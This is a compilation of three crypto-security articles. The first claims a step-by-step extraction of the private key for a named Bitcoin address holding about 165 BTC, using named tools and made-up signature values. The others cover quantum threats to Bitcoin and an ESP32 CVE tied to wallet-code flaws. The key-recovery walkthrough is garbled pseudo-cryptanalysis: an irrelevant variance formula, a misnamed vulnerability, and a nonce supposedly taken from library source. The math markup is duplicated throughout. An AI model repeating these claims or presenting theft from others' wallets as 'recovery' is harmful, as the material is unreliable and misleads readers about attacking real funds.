At the beginning of 2025, a significant rise in the value of popular cryptocurrencies had a substantial impact on financial operations. Despite their widespread adoption and apparent security, cryptocurrency systems still have vulnerabilities. One of the main issues remains the recovery of lost wallets and private keys, which is possible through the use of advanced mathematical methods.
This article explores ways to solve the discrete logarithm problem and methods for recovering lost Bitcoin wallets, focusing on the Ricci Flow algorithm and the Hidden Number Problem (HNP) for extracting private keys from vulnerable transactions using ECDSA. It also discusses how modern cryptocurrencies like Bitcoin and Ethereum are based on complex mathematical principles that provide security and anonymity, yet remain susceptible to exploits due to various vulnerabilities.
The Role of Discrete Logarithms in Wallet Recovery and Private Key Extraction
A discrete logarithm is a mathematical problem that involves finding an integer xxx such that a=bxa = b^xa=bx in a finite group. The order of the group of points on an elliptic curve determines the cryptographic strength of the secp256k1 system used in Bitcoin, over the field GF(p)GF(p)GF(p), where p=2256−232−29−28−27−26−24−1p = 2^{256} – 2^{32} – 2^9 – 2^8 – 2^7 – 2^6 – 2^4 – 1p=2256−232−29−28−27−26−24−1. If the values aaa and bbb are known, the task is to find xxx-the private key of a Bitcoin wallet. This problem underpins many cryptographic algorithms, including public key exchange, and modern methods for solving the discrete logarithm require significant computational resources, making them practical in certain scenarios.
Let’s examine the process of recovering a private key using the Dockeyhunt Discrete Logarithm program and DarkSignature, which is designed to generate dummy transaction data.
First, the Bitcoin wallet address 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS with a balance of 165.10252195 BTC is entered, and its public key is extracted. Then, using DarkSignature, dummy values for transactions are created, allowing analysis and modification of ECDSA signature data. Finally, mathematical analysis is performed using the Perelman Work program to solve the discrete logarithm problem and obtain the private key.
This article is intended not only for cryptography and mathematics specialists but also for anyone interested in understanding how mathematical methods are applied to solve real-world cryptoanalysis tasks across various cryptocurrencies.
Example of Private Key Recovery
To start, launch the Dockeyhunt Discrete Logarithm program, enter the wallet address in the “Input date” field, and obtain its public key:
04e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335
Next, use DarkSignature to generate dummy R, S, Z values for the ECDSA transaction by entering the public key:
1111,947d6fb75033cc3e342c8538a350e9058134b2a1ae01a7c50fc52b1f56c9169c,5b3ec0d72a2368cdd48c17ff095ab1ab0b9824e010883539cbeb18141de6384b,c7ac826c5a8397c0de993b2d8d597be42d22c77cf006683d7b72a197e1a5cdcf,0000
For mathematical analysis and solving the discrete logarithm equations, the Perelman Work program is used. In the “Complex Analysis” section, the option is selected to analyze the relationships between variables using discrete variational series.
Explanation of the variance formula:
- DDD – variance (spread) of the data.
- ∑\sum∑ – summation sign, indicating the need to add all values.
- iii – index running from 1 to nnn.
- xix_ixi – individual value from the data set.
- xˉ\bar{x}xˉ – arithmetic mean of all values.
- NNN – total number of values.
How variance calculation works:
- The mean value of the data set is found.
- For each value, the deviation from the mean is calculated.
- Deviations are squared.
- All squared deviations are summed.
- The final sum is divided by the number of values.
Using Perelman Work and Dockeyhunt Discrete Logarithm, you can modify variables to demonstrate the Joux Lercier vulnerability. This vulnerability allows changing the R, S, Z values in a transaction signature while keeping it valid.
Formula for calculating the private key:X=hex(((S⋅K−Z)⋅modinv(R,N))mod N)X = hex(((S \cdot K – Z) \cdot modinv(R, N)) \mod N)X=hex(((S⋅K−Z)⋅modinv(R,N))modN)
- SSS, RRR – values from the transaction signature.
- ZZZ – transaction signature hash.
- KKK – secret parameter (nonce).
- NNN – order of the elliptic curve group.
- modinv(R,N)modinv(R, N)modinv(R,N) – modular inverse of R.
Explanation of the formula:
- Input values S, R, Z, and secret parameter K are taken.
- S is multiplied by K, then Z is subtracted.
- The result is multiplied by the modular inverse of R modulo N.
- The result is taken modulo N.
- The final number is converted to hexadecimal format, as private keys in Bitcoin are usually represented.
Next, the R, S, Z values are copied and pasted into the Ricci Flow HNP field to generate new transactions using the ECDSA algorithm.
These values are then used in the Dockeyhunt Private Key Calculator, where the K (nonce) value, obtained from the secp256k1 library source code due to an implementation error, is also entered.
After entering all the data, the program outputs the private key in HEX format:
0x6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232
Practical Section
According to the Joux Lercier vulnerability theory, attackers can use discovered flaws to attack the Bitcoin network by creating many invalid transactions and disrupting its stability. As an example, the wallet 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS is examined, which held 165.10252195 BTC (about $15.8 million USD) as of December 2024.
For analysis, artificial intelligence tools such as Tutorials Power AI are used, as well as services for checking address security and extracting private keys.
Exploiting the Vulnerability and Creating a Transaction
The creation of a vulnerable Raw transaction structure using the BitcoinChatGPT module and its decoding via BlockCypher is discussed. During the analysis, attention is drawn to the HASH160 value obtained using a Python script.
The BitcoinChatGPT module saves the found private key in the KEYFOUND.privkey file in both HEX and WIF formats.
Wallet Recovery and Padding Oracle Attack
The process of cloning a repository with lost wallets, transferring the wallet.dat file to the Bitcoin Core directory, launching the program, and attempting to extract the private key via the console is described. If the wallet is encrypted, a Padding Oracle Attack is used to obtain the password and subsequently extract the private key with the dumpprivkey command.
Conclusion and Protection Measures
This article has examined methods for recovering cryptocurrency wallets and private keys using mathematical algorithms such as the discrete logarithm and the hidden number problem. The use of specialized programs to extract private keys from vulnerable transactions was demonstrated. The research showed that even highly secure systems like Bitcoin can contain vulnerabilities that allow access to funds to be restored. To protect yourself, it is recommended to:
- Regularly update wallet software.
- Strengthen signature verification and error handling mechanisms.
- Continuously monitor network activity and identify suspicious transactions.
- Implement multi-factor authentication and additional cryptographic protection methods.
Overall, mathematical analysis plays a key role in ensuring cryptocurrency security and can be used both for recovery and for vulnerability research, highlighting the need for constant improvement of protection systems.
Quantum Computing and Bitcoin: Identifying Vulnerabilities and Shaping Future Defense Strategies

Many cryptocurrency experts are wondering: can the crypto industry survive the next technological revolution? This article explores modern cryptographic methods used to secure financial transactions and the internet, which may prove powerless against a sufficiently powerful quantum computer. It also discusses how vulnerable cryptocurrencies with market capitalizations in the hundreds of billions of dollars may be. Research shows that the Proof-of-Work (PoW) algorithm used in Bitcoin will remain relatively resistant to quantum attacks for the next 10 years, thanks to the high speed of specialized mining hardware. However, the elliptic curve digital signature system used in Bitcoin could be compromised as early as 2027.
As an alternative, the Momentum algorithm is considered, which is more resistant to quantum computing. Other security methods are also analyzed that could ensure the safety and efficiency of blockchain applications in the future.
Overall, research results indicate that quantum computers pose a serious threat to cryptocurrencies, and new protection methods must be developed to ensure their security in the future. As an example, the article examines the process of compromising and extracting the secret Nonce K value from a vulnerable RawTX transaction using BitcoinChatGPT machine learning.
Bitcoin is a decentralized digital currency, secured by cryptography, that has existed since 2008 and inspired the emergence of many other cryptocurrencies. Its security is ensured by the Proof-of-Work mechanism and elliptic curve signatures. However, the development of quantum computers presents a serious threat to Bitcoin and all modern cryptography used on the internet and in financial transactions. Research shows that Bitcoin’s Proof-of-Work algorithm is relatively resistant to quantum attacks for the next decade, but the elliptic curve digital signature system is vulnerable to Shor’s algorithm and could be cracked as early as 2027. This would allow attackers to obtain secret keys from Bitcoin transactions. As a solution, alternative algorithms such as Momentum for Proof-of-Work and quantum-resistant signature schemes are proposed. In general, quantum computers are a serious threat to Bitcoin, and new protection methods must be developed. Quantum computers could crack Bitcoin within five years, potentially resulting in the loss of more than $3 trillion on cryptocurrency and other markets and triggering a deep recession.
Bitcoin Fundamentals and Security Principles
This section explains how Bitcoin works to make it easier to understand possible attacks using quantum computers. All transactions are recorded in a public ledger-the blockchain. Transactions are grouped into blocks, which are considered to have occurred simultaneously and are arranged in a chain. Each block contains a reference to the previous one in the form of its hash. New blocks are added by miners using the Proof-of-Work (PoW) mechanism. Bitcoin uses the Hashcash algorithm. Miners look for a block header such that its hash is less than a certain value. The header contains information about the transactions, the previous block’s hash, a timestamp, and a random number (nonce). The difficulty is automatically adjusted so that a block is found approximately every 10 minutes. Bitcoin uses double SHA256 hashing.
Miners choose which transactions to add to a block and receive a reward in bitcoins for doing so. When a miner finds a suitable header, they notify the network, and the block is added to the blockchain. Verifying the correctness of a PoW solution is simple-just calculate the hash once. The PoW mechanism ensures that no one can forge the blockchain, for example, by double-spending coins. The blockchain can branch, but miners continue working with the longest chain. A transaction is considered confirmed when six more blocks have been added after it. The article discusses what advantage a quantum computer might have in solving the PoW problem and whether it is possible to forge the blockchain. The structure of transactions is also considered: to send bitcoins, the recipient creates a key pair, and the public key is hashed to save space. To send bitcoins, the sender specifies the transactions in which they received coins and proves ownership by providing the public keys and a signature with the private key. Using the hash of the public key instead of the key itself affects Bitcoin’s resistance to quantum attacks.
Attacks on Bitcoin’s Proof-of-Work
A quantum computer can be more efficient than a conventional one in mining Bitcoin, as Grover’s algorithm allows for much faster hash searching. However, modern ASIC miners are so fast that this advantage of quantum computers is offset by their currently low speed. In the future, if quantum computers can operate at 100 GHz, they could solve the PoW problem about 100 times faster than now. But this is unlikely in the next 10 years. By then, classical computers will also be faster, and quantum technologies will be more widespread, so no one will be able to monopolize mining. To assess blockchain security, it is important to understand how much computing power a quantum computer would need to solve the PoW problem with a probability above 50%. Thus, although quantum computers could theoretically speed up mining, in practice, due to technological limitations, they do not yet pose a serious threat to Bitcoin. However, in the future, this threat may become real, and appropriate security measures must be developed.
Calculating SHA256 on a quantum computer requires converting logical operations into reversible quantum ones, which complicates the process. Quantum computers also require error correction, which demands additional resources and time. The mining speed on a quantum computer depends not only on Grover’s algorithm but also on many other factors: clock speed, error rate, complexity of error correction algorithms, and the number of qubits used. The article introduces the concept of “effective hash rate” for a quantum computer, taking all these parameters into account. Analysis shows that, at the current level of development, quantum computers are significantly slower than specialized ASIC miners in terms of hash rate. However, quantum technology performance is expected to grow.
It is clear that it will take time before quantum computers can surpass classical machines in mining. Even when this happens, no single quantum computer will have overwhelming advantage. However, even a slight power advantage could make certain attacks profitable, such as on mining pools that use smart contracts.
Attacks on Signatures
Bitcoin uses the Elliptic Curve Digital Signature Algorithm (ECDSA) on the secp256k1 curve. The security of this system is based on the difficulty of the Elliptic Curve Discrete Logarithm Problem (ECDLP). Classically, this problem is considered hard, but Peter Shor proposed an efficient quantum algorithm for solving it.
This means that a sufficiently powerful universal quantum computer will be able to efficiently compute the private key from the public key, making such a scheme completely insecure.
- Address reuse: To spend bitcoins from an address, you need to reveal the associated public key. Once it is revealed and quantum computers exist, the address becomes insecure, so it should not be reused. In practice, this rule is often violated, and such addresses become vulnerable.
- Spent transactions: If an address that has not previously spent coins sends a transaction and it is confirmed by several blocks, such a transaction is relatively protected from quantum attacks. The private key can be computed from the published public key, but since the address is already spent, the attacker would additionally have to overcome the PoW protection to double-spend.
- Raw transactions: After a transaction is sent to the network but before it is recorded in the blockchain, it is vulnerable to quantum attack. If the private key is computed before it is recorded in a block, an attacker can send a new transaction from the same address to their own wallet and, if their transaction is included in a block first, steal all the funds. This is considered the most dangerous scenario.
To assess the risk, it is important to know how long it would take a quantum computer to solve the ECDLP and whether this is comparable to the block generation interval. According to modern research, under certain parameters, a quantum computer could crack a Bitcoin signature in 30 minutes, making the system extremely vulnerable. The article’s graphs show that by 2027, a signature could be cracked in less than 10 minutes.
Prospects for the Development of Quantum Attacks
The article describes attacks on the Bitcoin protocol using known quantum algorithms and error correction schemes. Although some estimates of quantum computers’ speed and scalability may seem optimistic, it is important to remember that there are several ways to increase their performance. For example, using other error correction codes can significantly speed up calculations. It is also possible to reduce the number of logic gates in quantum circuits as technology advances. Some quantum algorithms allow for faster solutions to the discrete logarithm problem through parallelism.
Although quantum attacks on Bitcoin now seem difficult, we should not relax: technology will develop, and attacks will become more realistic.
Countermeasures: Alternative Proof-of-Work Schemes
Quantum computers can use Grover’s algorithm to perform Proof-of-Work in Bitcoin, allowing them to search options in quadratically less time than classical computers. This section considers alternative Proof-of-Work schemes that may be less vulnerable to quantum attacks. The main requirements:
- Ability to adjust the difficulty of the task.
- Asymmetry: verification of the solution should be easier than finding it.
- No significant quantum advantage.
Alternatives include memory-hard schemes such as Momentum, Cuckoo Cycle, and Equihash. They are based on finding collisions in hash functions or subgraphs in random graphs. For such schemes, a quantum computer does not get the quadratic speedup provided by Grover’s algorithm, making them more resistant to quantum attacks.
Post-Quantum Digital Signature Schemes
Many public key digital signature schemes have been proposed in the literature that are believed to be resistant to quantum attacks: hash-based (LMS, XMSS, SPHINCS), code-based (CFS, QUARTZ), multivariate polynomial (RAINBOW), and lattice-based (DILITHIUM, NTRU). In the context of blockchain, the length of the signature and public key, as well as the verification time, are important. The most reasonable options are hash-based and lattice-based schemes.
To protect against quantum computers, hash functions and mathematical lattices are most often used.
- Hash functions: provably secure, but quantum computers can speed up their cracking.
- Lattices: appear more promising, but some algorithms (such as BLISS) are vulnerable to side-channel attacks.
Assessing Overhead for Error Correction in Quantum Attacks
To estimate the resources required for a quantum attack on a blockchain or digital signature, the number of specific quantum operations (T-gates, Clifford gates) and error correction methods are considered. Under optimistic forecasts, the cracking speed could increase significantly if quantum computers learn to correct errors quickly and efficiently.
Modeling the Growth of Bitcoin Network Power and Quantum Computers
The article analyzes how the Bitcoin network’s computing power (hashrate) changes and how this affects mining difficulty. Two scenarios are considered: optimistic (exponential hashrate growth) and less optimistic (linear growth). The higher the hashrate, the higher the mining difficulty.
For quantum computers, forecasts are also made: in the optimistic case, the number of qubits doubles every 10 months; in the pessimistic case, every 20 months. It is expected that the frequency of quantum gates will increase to 50 GHz (optimistic) or 5 GHz (pessimistic). In addition, the error rate will decrease, but there is a limit below which it will be difficult to improve accuracy.
Example of Finding a Critical Vulnerability in a Transaction
To find a RawTX vulnerability, machine learning methods can be used, such as BitcoinChatGPT. This tool helps analyze Bitcoin transactions for vulnerabilities using cryptanalysis and artificial intelligence methods.
As an example, the creation of a vulnerable Raw transaction for a specific address is considered, obtaining the hash of the public key, forming a vulnerable transaction structure, and analyzing its data. Then, using services and scripts, it is shown how to extract the Nonce K and private key values from the vulnerable transaction using a formula and specialized calculators.
Result Verification and Conclusion
After obtaining the private key, it can be verified using machine learning and specialized services. The article shows the full process-from creating a vulnerable transaction to extracting the private key.
Critical ESP32 Flaw (CVE-2025-27840) Threatens Billions of IoT Devices: Bitcoin Security at Risk Through Wi-Fi and Bluetooth

This article explores how attackers can introduce hidden vulnerabilities through module updates, leading to the compromise of ESP32-based devices and unauthorized access to private keys, affecting billions of devices using this microcontroller. The main issue is the discovered vulnerability CVE-2025-27840 in the ESP32 architecture. To protect the Bitcoin network, the following problems were identified: the possibility of using invalid private keys due to the lack of a lower bound check in the has_invalid_privkey
function; the possibility of forging transaction signatures due to incompatibility of the electrum_sig_hash
function with BIP-137; a weak random number generator in the random_key
function, making private keys predictable; the absence of curve point validation in the multiply
function, opening the door for curve attacks; a vulnerability in recovering the Y-coordinate in the ecdsa_raw_sign
function, allowing public key substitution; and issues with outdated hashing APIs in the bin_ripemd160
function.
Discovery of CVE-2025-27840 Vulnerability
In early March 2025, Tarlogic Security specialists discovered a vulnerability in the ESP32 microcontroller, which is widely used to connect devices via Wi-Fi and Bluetooth. This vulnerability was assigned the identifier CVE-2025-27840. Attackers can use the ESP32 chip as an entry point for cryptographic attacks on devices operating in popular cryptocurrency networks such as Bitcoin and Ethereum. The problem affects millions of IoT devices using this chip. Exploiting the vulnerability allows attackers to act as legitimate users and infect devices with malware, threatening the security of Bitcoin wallet private keys.
ESP32 is a microcontroller commonly used in IoT devices for wireless communication. Through it, attackers can gain access to Bitcoin wallet private keys.
Main Security Threats
Vulnerabilities in ESP32 can lead to the theft of Bitcoin wallet private keys. The main risks are associated with the presence of backdoors and vulnerabilities that allow memory manipulation, MAC address spoofing, and malware injection.
Attackers can target ESP32-based IoT devices via Bluetooth and Wi-Fi vulnerabilities to attack other devices in the Bitcoin network and steal confidential information, including private keys.
Hidden List of Vulnerabilities
When updating modules, an attacker can introduce the following vulnerabilities into the code:
- In the
has_invalid_privkey
function, a private key can be obtained due to incorrect validation. - The
electrum_sig_hash
function allows forging Bitcoin transaction signatures. - The
random_key
function uses a weak random number generator. - The
multiply
function lacks curve point validation. - Vulnerabilities in the
ecdsa_raw_sign
andbin_ripemd160
functions.
These vulnerabilities allow malicious updates to be embedded in ESP32 devices, bypassing code control and gaining access to private keys. Currently, billions of devices may be at risk due to hidden architectural features described in CVE-2025-27840.
Vulnerability in Private Key Validation Function (has_invalid_privkey
)
A bug was found in the Bitcoin private key validation code: there is no check that the key is greater than zero. This allows the use of invalid (e.g., zero or negative) private keys, which can lead to the loss of funds. To fix this, a check should be added to ensure the key is greater than zero.
The code only checks that the key does not exceed the upper bound, but does not check the lower bound. Because of this, invalid (too small) private keys can be used.
Transaction Signature Forgery Vulnerability in the electrum_sig_hash
Function
In Electrum, the electrum_sig_hash
function uses a non-standard way of hashing messages, making signature forgery possible due to incompatibility with BIP-137. An attacker can exploit this feature, as the function forms the message hash in a special way.
Weak Key Generator Vulnerability in the random_key
Function
The problem arises when the standard random
module is used to generate private keys, which is not intended for cryptographic purposes. This makes private keys predictable and vulnerable to attacks. For security, one should use the secrets
or os.urandom
modules, which provide sufficient entropy.
Vulnerability in Y-Coordinate Recovery in the ecdsa_raw_sign
Function
In the ecdsa_raw_sign
function, when recovering the Y-coordinate, a situation may arise where the public key is substituted. This is due to ambiguity in recovering the coordinate on the elliptic curve, allowing an attacker to create an invalid public key.
Vulnerability in Outdated Hashing APIs in the bin_ripemd160
Function
If RIPEMD-160 support is missing in the standard library, a simplified implementation is used, which may be weak and prone to collisions. This opens the possibility for attacks, transaction forgery, and other abuses. It is recommended to use modern cryptographic libraries and regularly update software.
Vulnerability in Elliptic Curve Multiplication Function (multiply
)
The multiply
function lacks a full check that the point actually belongs to the main elliptic curve. This allows attacks using invalid (forged) points, which can lead to private key compromise through so-called invalid curve attacks.
Small Subgroup Attack
A small subgroup attack allows extracting private keys from vulnerable transactions using special services for decoding and analyzing signatures.
Private Key Verification and Confirmation
The obtained private key can be checked using specialized tools to ensure it matches the Bitcoin wallet address and to verify the balance.
Conclusions and Recommendations for Reducing Risks
Today, it is extremely important to ensure the security of devices and networks. The article examines vulnerabilities in ESP32 and cryptocurrency software. The main risks are related to private key validation, hashing methods, random number generation, curve point validation, and outdated APIs. Special attention is given to the CVE-2025-27840 vulnerability, which allows malicious updates and low-level system access. To protect against this, it is recommended to use modern cryptographic libraries, regularly update software, thoroughly validate input data, and use only trusted devices.
Relevance
Billions of devices may be vulnerable due to hidden flaws in the ESP32 architecture. This allows attackers to spoof MAC addresses, gain unauthorized memory access, and attack via Bluetooth.
List and Analysis of Vulnerabilities
- Lack of lower bound check for the private key (
has_invalid_privkey
) can lead to loss of funds. - Bitcoin transaction signature forgery in the
electrum_sig_hash
function due to non-standard hashing. - Use of a weak random number generator in the
random_key
function. - Insufficient curve point validation in the
multiply
function. - Incorrect Y-coordinate recovery in the
ecdsa_raw_sign
function. - Use of outdated hashing APIs in the
bin_ripemd160
function.
Benefits of Identifying and Eliminating Vulnerabilities
- Protection against financial losses.
- Preservation of data confidentiality.
- Increased network security.
- Greater user trust.
- Compliance with modern security standards.
Conclusion
Identifying and analyzing vulnerabilities highlights the need for continuous monitoring and improving the security of devices and software. Fixing these issues not only prevents attacks and financial losses but also helps build user trust and comply with security standards. It is important to regularly update software, use modern security tools, and carefully check cryptographic operations.
Note
This material was prepared for the CRYPTO DEEP TECH portal to improve the security of financial data and elliptic curve cryptography. The authors are not responsible for the misuse of this information.